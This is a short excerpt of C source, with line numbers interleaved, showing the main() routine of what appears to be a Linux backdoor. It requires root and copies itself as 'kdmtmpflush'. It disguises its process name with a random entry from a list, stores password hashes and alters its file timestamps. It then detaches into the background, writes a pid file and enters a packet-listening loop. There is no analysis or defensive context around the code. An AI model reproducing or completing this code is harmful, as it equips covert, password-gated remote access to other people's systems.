        if (getuid() != 0) {
869
                return 0;
870
        }
871
872
        if (argc == 1) {
873
                if (to_open(argv[0], "kdmtmpflush") == 0)
874
                        _exit(0);
875
                _exit(-1);
876
        }
877
878
        bzero(&cfg, sizeof(cfg));
879
880
        srand((unsigned)time(NULL));
881
        strcpy(cfg.mask, self[rand()%10]);
882
        strcpy(cfg.pass, hash);
883
        strcpy(cfg.pass2, hash2);
884
885
        setup_time(argv[0]);
886
887
        set_proc_name(argc, argv, cfg.mask);
888
889
        if (fork()) exit(0);
890
        init_signal();
891
        signal(SIGCHLD, sig_child);
892
        godpid = getpid();
893
894
        close(open(pid_path, O_CREAT|O_WRONLY, 0644));
895
896
        signal(SIGCHLD,SIG_IGN);
897
        setsid();
898
        packet_loop();
899
        return 0;
900
}